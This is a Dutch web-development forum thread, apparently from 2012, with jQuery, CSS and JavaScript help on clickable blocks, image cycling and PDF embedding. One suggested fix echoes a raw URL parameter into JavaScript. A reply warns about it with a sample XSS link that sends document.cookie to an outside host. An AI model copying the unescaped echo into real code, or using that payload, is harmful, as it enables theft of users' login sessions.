Ik wist ten eerste niet hoe ik mijn layout wilde gaan maken, dus dit bracht me op een goed idee. Ten tweede weet ik hoe ik met jQuery gegevens moet doorsturen, zodat ik een query kan maken die de juiste gegevens ophaalt uit m'n database. En ten derde scheelde het me wat tijd, want ik hoef nu niet zelf m'n CSS te maken. Ik zag er dus alleen maar voordelen in. Waarom vraag je dat dan?

Ik kan het probleem trouwens niet reproduceren in een fiddle, dus ik laat het maar even zo. Toch bedankt voor de snelle reactie. ^O^
  donderdag 29 november 2012 @ 22:46:23 #235
12221 Tijn
Powered by MS Paint
pi_119765424
quote:
0s.gif Op donderdag 29 november 2012 22:43 schreef pascal08 het volgende:

[..]

Waarom vraag je dat dan?
Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.
pi_119765622
quote:
2s.gif Op donderdag 29 november 2012 22:46 schreef Tijn het volgende:

[..]

Het lijkt me nogal simpel om dit zelf te maken met een paar regeltjes CSS en een jQuery eventhandler voor de blokjes. Ik zou daar geen plugin voor willen includen op m'n website.
Ik gebruik jQuery UI toch al, dus dan is het toch handiger om deze plugin te gebruiken in plaats van het zelf te schrijven. Daarnaast vind ik jQuery wel fijn. Alles is voorgekauwd en het scheelt mij als beginner een hoop tijd.
  donderdag 29 november 2012 @ 22:53:14 #237
12221 Tijn
Powered by MS Paint
pi_119765732
Met jQuery zelf is natuurlijk niks mis, dat gebruik ik ook altijd.

Maar jQueryUI vind ik persoonlijk wat minder. Als ik het al gebruik is het vaak een hele minimale build met maar 1 of 2 componenten.
pi_119765810
quote:
2s.gif Op donderdag 29 november 2012 22:53 schreef Tijn het volgende:
Met jQuery zelf is natuurlijk niks mis, dat gebruik ik ook altijd.

Maar jQueryUI vind ik persoonlijk wat minder.
Ik vind het wel een uitkomst. Ik haal er een hele hoop ideeën vandaan en het werkt altijd meteen. Wellicht is de code zelf schrijven efficiënter voor de website, maar dan ben ik in 2025 nog niet klaar. :P

Ik heb het puntje nu ook weten te triggeren in deze fiddle: http://jsfiddle.net/5BNdM/
Vraag me niet hoe. Het vereist in ieder geval een hoop clicks. :P
pi_119766057
Nope, niks hier.
  donderdag 29 november 2012 @ 23:01:04 #240
12221 Tijn
Powered by MS Paint
pi_119766086
Ik zie niks hoor. Maar het zal dat selectieblokje met die stippellijntjes wel zijn dat blijft hangen ofzo.

Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
pi_119766615
quote:
2s.gif Op donderdag 29 november 2012 23:01 schreef Tijn het volgende:
Ik zie niks hoor. Maar het zal dat selectieblokje met die stippellijntjes wel zijn dat blijft hangen ofzo.

Ik zou dat eerlijk gezegd sowieso niet doen, dat selecteren met zo'n vakje. Dat zie je op andere sites ook nooit.
Hoe zou jij het doen dan? Het gaat alleen om het principe van selecteren/geselecteerd blijven en deselecteren/gedeselecteerd blijven.
  donderdag 29 november 2012 @ 23:13:07 #242
12221 Tijn
Powered by MS Paint
pi_119766638
Gewoon onclick een class "selected" geven of ontnemen.
pi_119766760
quote:
14s.gif Op donderdag 29 november 2012 23:13 schreef Tijn het volgende:
Gewoon onclick een class "selected" geven of ontnemen.
Wat zou dat schelen in ms of is het puur omdat je code er kleiner van wordt?
  donderdag 29 november 2012 @ 23:16:23 #244
12221 Tijn
Powered by MS Paint
pi_119766793
Het scheelt vooral dat je niet zo'n raar puntje hebt staan op willekeurige momenten :+
pi_119766843
quote:
10s.gif Op donderdag 29 november 2012 23:16 schreef Tijn het volgende:
Het scheelt vooral dat je niet zo'n raar puntje hebt staan op willekeurige momenten :+
Da's waar. _O-

Hij is nu wel al een tijdje weg nadat ik de code opnieuw gekopieerd en geplakt heb. *klop klop*
pi_119767091
Puntje is er weer. :D Volgens jou kan ik dus beter het zo doen?

1
2
3
<div class=" (selected of niks) " style="float:left; margin: 2px; padding: 0px; width: 80px;">
// inhoud
</div>

en dan de jQuery... ?
  donderdag 29 november 2012 @ 23:34:46 #247
12221 Tijn
Powered by MS Paint
pi_119767537
Is zoiets niet wat je wil?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
  <head>
    <title>Voorbeeld van klikbare blokjes</title>
    
    <link rel="stylesheet" href="style.css" type="text/css" />
  </head>
  <body>
    <h1>omg klikbare blokjes</h1>
    
    <ul id="selectable">
      <li data-id="1">blokje 1</li>
      <li data-id="2">blokje 2</li>
      <li data-id="3">blokje 3</li>
      <li data-id="4">blokje 4</li>
      <li data-id="5">blokje 5</li>
      <li data-id="6">blokje 6</li>
      <li data-id="7">blokje 7</li>
      <li data-id="8">blokje 8</li>
      <li data-id="9">blokje 9</li>
    </ul>
    
    <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
    <script src="script.js"></script>
  </body>
</html>

style.css:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
body
{
  font-family: sans-serif;
  text-align: center;
}

#selectable
{
  list-style-type: none;
}
  #selectable li
  {
    float: left;
    width: 80px;
    height: 80px;
    background-color: #eee;
    border: 1px solid #888;
    border-radius: 3px;
    margin: 5px;
    padding: 10px;
    cursor: pointer;
  }
  #selectable li:hover
  {
    background-color: #fff;
  }
  #selectable li.selected
  {
    background-color: #f8f89f;
  }

script.js:
1
2
3
4
5
$(document).ready(function(){
  $('#selectable li').live('click', function(){  
    $(this).toggleClass('selected');
  });
});
pi_119767553
quote:
2s.gif Op donderdag 29 november 2012 23:34 schreef Tijn het volgende:
Is zoiets niet wat je wil?
[ code verwijderd ]

style.css:
[ code verwijderd ]

script.js:
[ code verwijderd ]

Holy shit, even kijken. :D

W00t, deze is nog mooier. :P ...en geen puntje!!! Thanks a million. O+
  donderdag 29 november 2012 @ 23:42:18 #249
12221 Tijn
Powered by MS Paint
pi_119767793
Het is maar een voorbeeldje hoor.

In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
pi_119767845
quote:
2s.gif Op donderdag 29 november 2012 23:42 schreef Tijn het volgende:
Het is maar een voorbeeldje hoor.

In de click eventhandler (waar nu alleen toggleClass() wordt aangeroepen) zou je ook een Ajax call kunnen doen als je nog communicatie met je server wil na het aanklikken van een blokje.
Wel een heel mooi voorbeeldje. ;) Ik weet hoe ik jouw voorbeeld kan uitbreiden met een Ajax call, dus dit is perfect. Nog 1 vraagje: waar gebruik je data-id voor bij elke <li>?
  donderdag 29 november 2012 @ 23:44:44 #251
12221 Tijn
Powered by MS Paint
pi_119767876
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat.
pi_119767938
quote:
2s.gif Op donderdag 29 november 2012 23:44 schreef Tijn het volgende:
Nu nergens voor, maar ik kan me voorstellen dat je zoiets nodig hebt om je server te laten weten om welk blokje het gaat.
Juist, dan kan ik natuurlijk met PHP daar de id laten echoën die relevant is voor mijn zoekactie.

Ik heb trouwens ook een slidersysteem gemaakt met jQuery UI. Ik heb er enorm veel werk aan gehad om het helemaal werkend te krijgen, terwijl ik de basis dus niet eens zelf heb hoeven te schrijven. Zou jij zoiets ook zelf maken?
  donderdag 29 november 2012 @ 23:47:50 #253
12221 Tijn
Powered by MS Paint
pi_119767991
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring.
pi_119768087
quote:
2s.gif Op donderdag 29 november 2012 23:47 schreef Tijn het volgende:
Mja, waarschijnlijk wel. Het hangt er natuurlijk vanaf, als er een standaard plugin is die precies doet wat ik wil, dan gebruik ik dat gewoon. Maar als ik er enorm veel werk aan zou hebben om het aan te passen, dan is het waarschijnlijk sneller en beter om zelf te maken wat je hebben wil is mijn ervaring.
Hmm... oké. Ik heb er veel werk aan gehad omdat ik meerdere sliders wilde aansturen vanuit één eventhandler (?), Uiteindelijk is het me gelukt, zonder dat er rare glitches zichtbaar zijn. Bovendien bestaat het systeem uit meer dan 50 sliders en werkt het onder alle omstandigheden toch heel snel. Vandaar dat ik jQuery UI ook gelijk geweldig vond. :D
  donderdag 29 november 2012 @ 23:54:27 #255
12221 Tijn
Powered by MS Paint
pi_119768226
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen.
pi_119768397
quote:
2s.gif Op donderdag 29 november 2012 23:54 schreef Tijn het volgende:
Ik gebruik ook wel eens een of twee componentjes van jQueryUI hoor. Maar voor zoiets simpels als dit begrijp ik niet waarom je een extra library zou willen includen.
Ik snap niet helemaal wat je bedoelt. :@ jQuery UI is toch één compleet bestand? Kan ik delen daarvan gewoon weghalen?
  vrijdag 30 november 2012 @ 00:01:17 #257
12221 Tijn
Powered by MS Paint
pi_119768462
http://jqueryui.com/download/

Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
pi_119768519
quote:
2s.gif Op vrijdag 30 november 2012 00:01 schreef Tijn het volgende:
http://jqueryui.com/download/

Hier kun je de componenten kiezen die je wil hebben. Als je alleen de dingen op je website zet die je ook daadwerkelijk gebruikt, scheelt dat zo enkele tientallen kilobytes. Zeker voor mensen met een mobiele verbinding kan dat best wat laadtijd schelen.
Ik vermoedde het al toen jij het had over includen van componenten die je ook zelf kunt maken. Ik heb gewoon die hele meuk geïnclude. _O-

Al die jQuery componenten zijn al goed voor 108kb zie ik. Als er nog niets gecached is gaat er bijna 400kb doorheen. Gelukkig wijs je me er nu op, want volgens mij kan ik uit de bootstrap CSS ook een heleboel slopen.

[ Bericht 10% gewijzigd door pascal08 op 30-11-2012 00:08:06 ]
pi_119772830


[ Bericht 100% gewijzigd door Deeltjesversneller op 30-11-2012 09:30:12 ]
  vrijdag 30 november 2012 @ 09:30:24 #260
91039 mstx
2x1/2 = 1/2 x 1/2
pi_119772858
quote:
0s.gif Op vrijdag 30 november 2012 09:29 schreef Deeltjesversneller het volgende:

[ code verwijderd ]

waarom levert (totals == null) false op?
Omdat totals een array is. Dus totals[0]==null.
Op donderdag 2 juli 2009 22:41 schreef RTB het volgende:
als ik elk rap"liedje" een kans moest geven was ik aan het eind van dit millennium nog bezig met het tempo waarin die kotshoop uitgebraakt wordt.
👾
pi_119772958
was er al achter, toch bedankt voor de moeite!! heb me nu toch wat sjieks gemaakt zeg.
pi_119811522
Ik ben mijn custom CSS aan het veranderen maar helaas wordt voor sommige elementen op FOK! geen aparte CSS gebruikt waardoor sommige dingen geen class of id krijgen.

Nu ben ik wel zover dat ik tags een bepaalde kleur kan krijgen, maar ik wil die van moderators een andere kleur geven. Hoe moet ik dat doen?

zelf geprobeerd

1
2
3
a [style*="color:#0000FF"] {
    color: green!important;
}

en allemaal varianten daarop.
  zaterdag 1 december 2012 @ 14:41:12 #263
230788 n8n
Pragmatisch
pi_119811982
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen
Specialization is for insects”.—Robert Heinlein
  zaterdag 1 december 2012 @ 14:49:11 #264
84244 Scorpie
Abject en infaam!
pi_119812203
quote:
0s.gif Op vrijdag 30 november 2012 09:37 schreef Deeltjesversneller het volgende:
was er al achter, toch bedankt voor de moeite!! heb me nu toch wat sjieks gemaakt zeg.
Geloof er niks van.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
pi_119812486
quote:
7s.gif Op zaterdag 1 december 2012 14:41 schreef n8n het volgende:
die kleuren zijn inline gestyled dus dat wordt lastig om te overrulen
Het is al gelukt.

1
2
3
a.username[style*="#0000FF"], a.tag[style*="#0000FF"]  {
    color: #389ABE !important;
}

Met dank aan TwyLight.
  zaterdag 1 december 2012 @ 15:03:57 #266
230788 n8n
Pragmatisch
pi_119812575
quote:
14s.gif Op zaterdag 1 december 2012 15:00 schreef Dimens het volgende:

[..]

Het is al gelukt.
[ code verwijderd ]

Met dank aan TwyLight.
beter
Specialization is for insects”.—Robert Heinlein
pi_119839520
Tof.
  dinsdag 4 december 2012 @ 13:30:51 #269
343369 Laser.
Love Always Shines
pi_119916143
Wie kan mij even helpen met javascript?
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.

Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
  dinsdag 4 december 2012 @ 13:32:00 #270
84244 Scorpie
Abject en infaam!
pi_119916184
quote:
0s.gif Op dinsdag 4 december 2012 13:30 schreef Laser. het volgende:
Wie kan mij even helpen met javascript?
Ik heb een div met id "content". Deze div moet de achtergrond "img_1.jpg" gebruiken.

Ik heb ergens op de pagina een button. Als je op deze button klikt dan moet de achtergrond naar "img_2.jpg" veranderen. Als je dan nog een keer klikt dan naar img_3 etc. Maar img_4 is de laatste en dan moet ie weer terug naar 1.
Wat heb je zelf tot nu toe?
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  dinsdag 4 december 2012 @ 13:34:38 #271
343369 Laser.
Love Always Shines
pi_119916275
quote:
7s.gif Op dinsdag 4 december 2012 13:32 schreef Scorpie het volgende:

[..]

Wat heb je zelf tot nu toe?
Als je op de button klikt roept ie de functie count(); aan.

1
2
3
4
5
6
7
8
<script type="text/javascript">
var img = 1;

function count() {
    img = img + 1;
    document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";
}
</script>
  dinsdag 4 december 2012 @ 13:41:07 #272
56176 Catch22-
Ben je Blind?!
pi_119916469
1    document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img" + (img % 4) +".jpg)";
zoiets, kan ook % 3 of (img-1)%4 zijn.
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
pi_119916549
quote:
11s.gif Op dinsdag 4 december 2012 13:41 schreef Catch22- het volgende:

[ code verwijderd ]

zoiets, kan ook % 3 of (img-1)%4 zijn.
Neuh, gewoon %4 en bij 0 beginnen.
  dinsdag 4 december 2012 @ 13:43:36 #274
84244 Scorpie
Abject en infaam!
pi_119916574
quote:
0s.gif Op dinsdag 4 december 2012 13:34 schreef Laser. het volgende:
script type="text/javascript">var img = 1;function count() { img = img + 1; document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";}</script>
1
2
3
4
5
6
7
8
<?php
var img 1;

function 
count() {    
  (
img 4) ? img img++ : img 1;
  
document.getElementById("content").style.backgroundImage "url(content/art/S3/S3_img"+img+".jpg)";
}
?>
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  dinsdag 4 december 2012 @ 13:44:56 #275
84244 Scorpie
Abject en infaam!
pi_119916618
quote:
11s.gif Op dinsdag 4 december 2012 13:41 schreef Catch22- het volgende:

[ code verwijderd ]

zoiets, kan ook % 3 of (img-1)%4 zijn.
Netter dan de mijne.
Op dinsdag 13 augustus schreef Xa1pt:
Neuh, fraude mag best aangepakt worden. Maar dat het de maatschappij meer oplevert of beter is voor de samenleving, is nog maar de vraag.
Op donderdag 25 juni 2015 schreef KoosVogels:
Klopt. Ik ben een racist.
  dinsdag 4 december 2012 @ 13:51:33 #276
343369 Laser.
Love Always Shines
pi_119916835
Ik ga het zo eens proberen, bedankt alvast. Ik heb nu nog een ander probleempje wat eerst opgelost moet worden.

Ik heb het volgende bovenaan de pagina:

1
2
3
<script type="text/javascript">
    document.getElementById("content").style.backgroundImage = "url(content/art/S3/S3_img1.jpg)";
</script>

De afbeelding bestaat sowieso, dus het pad moet kloppen, maar toch zie ik 'm niet als achtergrond? Div heeft de id "content".
pi_119917870
Als je even je console opent zie je direct of je een foutmelding krijgt en kun je ook zien of het adres daadwerkelijk gevonden kan worden.

gokje is dat'ie document.getElementById('content') is undefined zegt. Omdat je niet wacht tot de dom geladen is.

[ Bericht 31% gewijzigd door KomtTijd... op 04-12-2012 14:34:34 ]
  dinsdag 4 december 2012 @ 14:57:39 #278
343369 Laser.
Love Always Shines
pi_119918695
Thanks ik heb het nu werkend maar zit nog met 1 dingetje. :)

Je hebt op de pagina meerdere vlakken (sections) waar je op kunt klikken, de pagina wordt dan herladen en de URL laat dan bijv zien: index.php?page=art & section=S1

Dus section=S1 voor vakje 1, S2 voor vakje 2 etc.

Als je nu naar mijn script kijkt:

1
2
3
4
5
6
7
8
9
<script type="text/javascript">
var section = "S3";
var img = 1;
function count() {
img = img + 1;
document.getElementById("art").style.backgroundImage = "url(content/art/"+section+"/"+section+"_img"+img+".jpg)";
if (img==4) img=0;
}
</script>

Dan zie je dat section standaard op S3 wordt gezet. Nu wil ik graag dat dat afhankelijk is van op welk vakje je hebt geklikt. Kan ik dat uit de URL halen op een bepaalde manier?

Sowieso is er ook een PHP variable $section wat ook de juiste gegevens heeft. Kan ik dat met elkaar verbinden?

[ Bericht 0% gewijzigd door Laser. op 04-12-2012 15:02:59 ]
  dinsdag 4 december 2012 @ 15:06:31 #279
56176 Catch22-
Ben je Blind?!
pi_119918926
1var section = "<?= $_GET["section"] ?>";
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  dinsdag 4 december 2012 @ 15:17:39 #280
343369 Laser.
Love Always Shines
pi_119919217
Oh ja dat kan natuurlijk gewoon... :D

Thanks! :)
pi_119919422
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
pi_119928098
quote:
14s.gif Op dinsdag 4 december 2012 15:24 schreef KomtTijd... het volgende:
Nu alleen nog mensen zo gek krijgen te klikken op zulks een link:
index.php?section=1;$.ajax({url:"mijnwebsite.cn?andermanslogingegevens="+document.cookie})
Ach, mensen klikken ook op dit soort pareltjes.

quote:
javascript:__doPostBack('ctl00$ContentPlaceHolderPage$BottomPaging$PageButtonRepeater$ctl02$PageLinkButton','')
Er sterft altijd een beetje van mezelf als ik zulke dingen zie :(
Bleuh.
  dinsdag 4 december 2012 @ 19:58:06 #283
12221 Tijn
Powered by MS Paint
pi_119930083
Ik dacht ook dat het normaal was om even statusbalk naar de href van een link te kijken voordat je erop klikt, maar ik ben er inmiddels na een hoop contact met gebruikers wel achter dat echt niemand iets met die informatie doet :')
  woensdag 5 december 2012 @ 13:16:08 #284
390538 Dimauro
Vuurbezweerder
pi_119953468
Ik ben sinds een week aan het stunten met een (kleine) website. Notepad + + gedownload om de bestanden snel aan te kunnen passen, en een bronmap aangemaakt voor de verschillende files. De index in html gemaakt, de opmaak met css. Ik wilde graag een goede basis hebben voordat ik foto's en andere dingen zou gaan proberen, dus het oogt nog een beetje kaal misschien.

Ik heb een klein JQuery scriptje van iemand gebruikt om de menu linkjes in de #content div te laden en de html bestanden omgenoemd naar php.

1
2
3
4
5
6
7
8
9
10
11
$(document).ready(function(){
    // index laden bij start
    $('#content').load('content/index.php');
    
    // navigatie laden bij klikken
    $('ul#nav li a').click(function() {
        var page = $(this).attr('href');
        $('#content').load('content/' + page + '.php');
        return false;
    });
});

Ik heb alles werkend in Firefox, maar twee vragen:
1. als ik de pagina kleiner maak 'drijven' de float elementen heen en weer uit de parent div, gaat dat over na omzetten en hosten of moet ik dat aanpassen?
2. het scriptje werkt niet in Chrome en naar IE durf ik eigenlijk niet te kijken. Is dit de juiste manier om pagina's in de #content te laden of moet ik iets anders gebruiken?

Ik hoop dat iemand wat tips heeft.

ps. hier nog de indexpagina en de css http://jsfiddle.net/QDavN/ mocht dat helpen.
w3 validator = passed html5 :)
I'm not the girl in the picture..
  woensdag 5 december 2012 @ 13:20:36 #285
56176 Catch22-
Ben je Blind?!
pi_119953625
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  woensdag 5 december 2012 @ 13:29:27 #286
390538 Dimauro
Vuurbezweerder
pi_119953936
quote:
k had example F uit het eerste artikel aangehouden, zal nog even door de css kijken of ik misschien iets verkeerd heb aangepast :@
I'm not the girl in the picture..
  woensdag 5 december 2012 @ 13:48:36 #287
56176 Catch22-
Ben je Blind?!
pi_119954618
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  woensdag 5 december 2012 @ 15:12:57 #288
390538 Dimauro
Vuurbezweerder
pi_119957803
1. is opgelost ik had de #container div geen width meer meegegeven :)
I'm not the girl in the picture..
  vrijdag 7 december 2012 @ 14:12:20 #289
137776 boem-dikkie
Jedi Mind Baby!
pi_120037088
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.

PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
  vrijdag 7 december 2012 @ 14:26:20 #290
134533 donroyco
dus niet Donroyco
pi_120037701
quote:
14s.gif Op vrijdag 7 december 2012 14:12 schreef boem-dikkie het volgende:
Hier mensen ervaring met een simpel framework of plugin (jQuery of Javascript of zo) om een PDF te tonen in een pagina? Ik heb nu een iframe gebruikt maar dat is natuurlijk extreem ouderwets. Plus dat hij in Safari het al niet heel fijn doet, en (ondanks nog niet getest) Internet Explorer dit vast ook niet heel fijn vindt.

PDF.JS al even bekeken maar lijkt me wat lomp voor alleen een PDF tonen zonder knopjes e.d.
http://www.jquery4u.com/j(...)-pdf-viewer-plugins/
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
  vrijdag 7 december 2012 @ 14:44:08 #291
137776 boem-dikkie
Jedi Mind Baby!
pi_120038367
quote:
PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken. :')

Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
  vrijdag 7 december 2012 @ 14:56:13 #292
134533 donroyco
dus niet Donroyco
pi_120038910
quote:
14s.gif Op vrijdag 7 december 2012 14:44 schreef boem-dikkie het volgende:

[..]

PDF.JS te lomp, gViewer zegt dat hij mijn document niet kan vinden. Zelfde error op de voorbeeldpagina, dus waarschijnlijk is de API veranderd? En PDFObject is kut, daar kun je opties aan meegeven die vervolgens helemaal niet werken. :')

Ik heb met een iFrame geprobeerd en inmiddels getest in Internet Explorer 6, 7 en 8, Firefox, Chrome en Safari en in alle browsers nagelijk hetzelfde resultaat. Denk dat ik het maar gewoon bij een iframe houd.
Jammer :{
Op maandag 29 september 2008 11:45 schreef HostiMeister het volgende:
Dat is zeg maar de Nederlandse taal op een vuige keukentafel voorover buigen en hem dan zonder glijmiddel anaal verkrachten. :'(
  vrijdag 7 december 2012 @ 15:10:30 #293
137776 boem-dikkie
Jedi Mind Baby!
pi_120039507
Heb met de Google API ook resultaat. Die werkt mooi.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
pi_120040214
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.

Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
  zaterdag 8 december 2012 @ 11:37:46 #295
37634 wobbel
Da WoBBeL King
pi_120069581
Help :P

Ik heb de volgende HTML code
1
2
3
4
5
6
7
8
    <div class="note grey" style="left:343px;top:284px;z-index:43" data-id="32">
        Test test Test test Test test Test test 
        <div class="author">Henk de Tank</div>
    </div>
    <div class="note red" style="left:629px;top:0px;z-index:45" data-id="31">
        Doet ie het?
        <div class="author">Einzzzstein</div>
    </div>

Nu wil ik achter het data-id komen bij een klik, maar ik heb van alles geprobeerd maar het lukt niet :( ik krijg undefined met de volgende code

1
2
3
    $("div.note").dblclick(function(event) {
        alert($(event).data("id"));
        })


[ Bericht 6% gewijzigd door wobbel op 08-12-2012 11:42:48 ]
pi_120069733
Je kan $(event).dataset.id proberen, maar dat werkt geloof ik nog niet in alle browsers. Anders is $(event).attr("data-id") altijd wel een veilige optie.;.

edit:
Kan het nu even niet testen, maar volgens mij is event nog niet het DOM element, dus heb je waarschijnlijk $(event.currentTarget) nodig. Zal straks ff checken.

[ Bericht 36% gewijzigd door picodealion op 08-12-2012 11:51:21 ]
  zaterdag 8 december 2012 @ 11:52:07 #297
37634 wobbel
Da WoBBeL King
pi_120069915
$(event).dataset.id doet helemaal niks, $(event).attr("data-id") geeft inderdaad undefined.
pi_120069973
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).


this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
  zaterdag 8 december 2012 @ 13:22:51 #299
137776 boem-dikkie
Jedi Mind Baby!
pi_120072155
quote:
14s.gif Op vrijdag 7 december 2012 15:29 schreef KomtTijd... het volgende:
Iframe is helemaal niet zo gek. Gewoon door de pdf-reader van de gebruiker af laten handelen.

Misschien (als je dat kunt detecteren) zou je zo'n JS-library als fallback kunnen gebruiken voor als de user geen in-browser PDF-reader heeft.
Nu ook een iFrame maar wel met de API van Google. Die doet het ook in Firefox, waar Firefox zonder plugins normaal vraagt of je de PDF wil openen of downloaden, in plaats van tonen op de pagina. Alle Internet Explorers ondersteunen de Google Docs API en Firefox, Chrome en Safari werken ook prima dus ik vind het mooi zo.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
  zaterdag 8 december 2012 @ 13:24:05 #300
137776 boem-dikkie
Jedi Mind Baby!
pi_120072189
quote:
2s.gif Op zaterdag 8 december 2012 11:55 schreef picodealion het volgende:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).

this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
$(this) werkt sowieso wel mooi voor dit soort dingen.
Ik weet niks van Hindoes. Wel van Samoerai en andere dingen.
  zaterdag 8 december 2012 @ 19:34:08 #301
37634 wobbel
Da WoBBeL King
pi_120082639
quote:
2s.gif Op zaterdag 8 december 2012 11:55 schreef picodealion het volgende:
Het was veel gemakkelijker. .data() doet precies wat jij wil dus mijn oplossing was overbodig. Je moet het alleen niet doen op $(event) maar gewoon op $(this).

this.dataset.id geeft overigens hetzelfde, heb je jQuery dus niet voor nodig, maar in IE8 en lager doet dat niks.
Thanks :) en ook nog bedankt voor de uitleg.
abonnement Unibet Coolblue
Forum Opties
Forumhop:
Hop naar:
(afkorting, bv 'KLB')